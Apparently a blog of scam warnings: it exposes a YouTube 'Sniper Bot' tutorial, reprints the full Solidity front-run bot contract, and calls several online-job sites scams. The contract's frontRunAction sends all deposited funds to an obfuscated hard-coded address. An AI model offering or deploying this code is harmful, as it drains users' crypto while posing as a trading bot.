Sniper Bot Tutorial SCAM!!!

 

You can see it everywhere, they even advertise on Facebook, Youtube, Google peddling their scam as "Sniper Bot Tutorial". They will show you how to make more money using Sniper Bot, they will promise you that you will make a lot of ETH or BNB or BTC through simple smart contract deployment.

Here's an example on Youtube:

It has more than 30,000 views I hope none of them fell for this scam!

It says that: In this video I show you a simple smart contract deployment in Solidity which automatically locates any liquidity added to a BSC token, immediately buy and sell at profit.

Current parameters of this contract is that 10% of profit automatically reenters the front-run pool, and automatically transacts back to your wallet 90% of the profit.  The remaining pool keeps front running for profit, until you submit "frontrunAction" function in ChainIDE"

It's clearly a scam, who would teach to multiply your 1 BNB to 17 BNB in a few seconds, it's just impossible. “If it's too good to be true, it probably is”

In the video the guy will ask you to go to chainide.com, then you will need to connect your Metamask Wallet. Then go to BNB chain. Then once connected he ask you to make a new file, then you will need to copy the "Sniper Bot scam script" that is provided in the video. Then paste it on the chainIDE. It said that the bot will run on the blockchain and work against the pancakeswap router. He then ask you to compile the bot, then deploy the smart contract to your wallet. It will then ask you to send some fund to the contract asking your to shell out 1.5 BNB that you will never see again. He then run the bot, and show you what he got from the 1.5 BNB which is clearly fake. Don't get scammed! Sniper Bot Tutorial is not true:

Here's is someone who got scammed:

Here's the scripped on the YouTube:

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

contract PancakeswapFrontrunBot {
 
    string public tokenSymbol;
    uint frontrun;

    event Log(string _msg);

    /*
     * @dev Find newly deployed contracts on PancakeSwap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
 
    constructor(string memory _mainTokenSymbol) public {
        tokenSymbol = _mainTokenSymbol;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }


    /*
     * @dev Extracts the newest contracts on pancakeswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from pancakeswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 459125;
    }

    /*
     * @dev Parsing all pancakeswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 810871;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 60181;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 915750;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 614513;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 1016096;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 469259;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `token`.
     */
    function frontRunAction() public payable {
        emit Log("Running FrontRun attack on PancakeSwap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 446700;
    }

    /*
     * @dev loads all pancakeswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}

As you can see it has exactly the same script as the one from the forum who got scammed, it's copy paste the only difference is the address of the pool

 

 

Cashwork.xyz is a Scam!

Cashwork.xyz or Cashwork.online is clearly a scam. They are using the same scheme and even the look of the website looks just like CashWay.xyz which is a scam! Here's my post about CashWay.xyz, I made $300++ put couldn't withdraw the money. It's obvious that it's the same people who created CashWay.xyz, they are using the same gimmick and the same trick, offering online job in which you can make $10 per task and they even promise that you can make $2,000 a month which you can withdraw through bank transfer, Western Union, or PayPal. 

On their page, it says Cashwork.xyz is "a new innovating and internet job site, where you will be hired to do some tasks, different in type and number. and you will be paid a estimated reward for that instant in your account, after it the job poster will review the service and approve the status for your payout, then you will be paid for your work via Cheque. Other Payment options are also coming soon. You have to create a account with us to start and login to your member area, and do daily your jobs and you will be really great after using our service."

It also say that they "guarantee you that you will earn 2500$ in your first week by simple task of 5 - 10 minute." If it's too good to be true, it probably is! They will just waste your time, you won't see a single centavo.

I really don't know why are they doing this or how they earn money from wasting the time of people like you and me who are looking for legitimate online job to help us with our finances.

If you're looking for legit work online here are some:
Slicethepie
squishycash
Surveysavvy

Paidsocialmediajobs Scam or Not?

I recently get so many emails and Facebook messages inviting me to join Paidsocialmediajobs.com. They promise to give you training and tools to make money online using social media. Well, almost everyone spend so much time in social media and people will say why not earn from it.

What are the jobs on “Paid Social Media Jobs” (paidsocialmediajobs.com)? Mostly they are simple tasks like Following a Facebook page, Tweeting, Liking a Facebook page, commenting on Youtube video, and more complicated work like managing a companies social media page.

The company said that  they have enough employers in their database needing people to fill but I really doubt it.

Paidsocialmediajobs offers a 3 day trial for $1 so that they can convince you that it really works. Be warned that after the 3 day trial they will automatically charge you $77 without notice for full membership, full access to their list and software tools.

Most of the jobs here are really impossible to do, like a company requiring you to get 10,000 likes in an hour.

In their training, they will just teach you how to create and start an online job by selling your services to the market place. You are like a free-lancer, it is more like Upwork but you have to pay them a fee. And in their Paid Social Media Jobs marketplace you will hear crickets there are little activity. You will see no rating of the service and the comments by other employers. You will not find a single job being rated or commented.

Paidsocialmediajobs is definitely a SCAM! So all you idiots emailing me about this please stop I know it's a SCAM!

================

Making Money Online Fast at Home
Get Your Free Guide To Lets Make Money at Home For Housewife, Students and Teenagers.
Home

New And Hot Membership Site, 100 Ways To Make Money Online!

20 Ways To Make Money Online

CashWay.xyz is a SCAM

 

Yes folks it's a SCAM. There's an old adage, "If it sounds too good to be true, it probably is" applies to this scammer. I reached the $300 minimum required payout US$300 today February 19, 2016 and in the Payment Withdraw section it says that the Payment status is now enable and there's a note that says "Congratulations harry.roger10 Your earnings Approved." When I click on [ Click here to get your earning ] it goes to this page: http://hostingpie.website/pay.php asking me to complete a survey just like in the photo below. Why would you need to answer surveys just to withdraw your earnings!

Then when you click on the surveys it will just go on and on it will just give your more surveys that are pretty pathetic.

Then when you click on other links it will lead you to this page, asking for your credit card, we're the one who are looking for work why would we give you our credit card information. This is an outright scam! 




I will report this site to Google for scamming people. I will also trace all their other sites!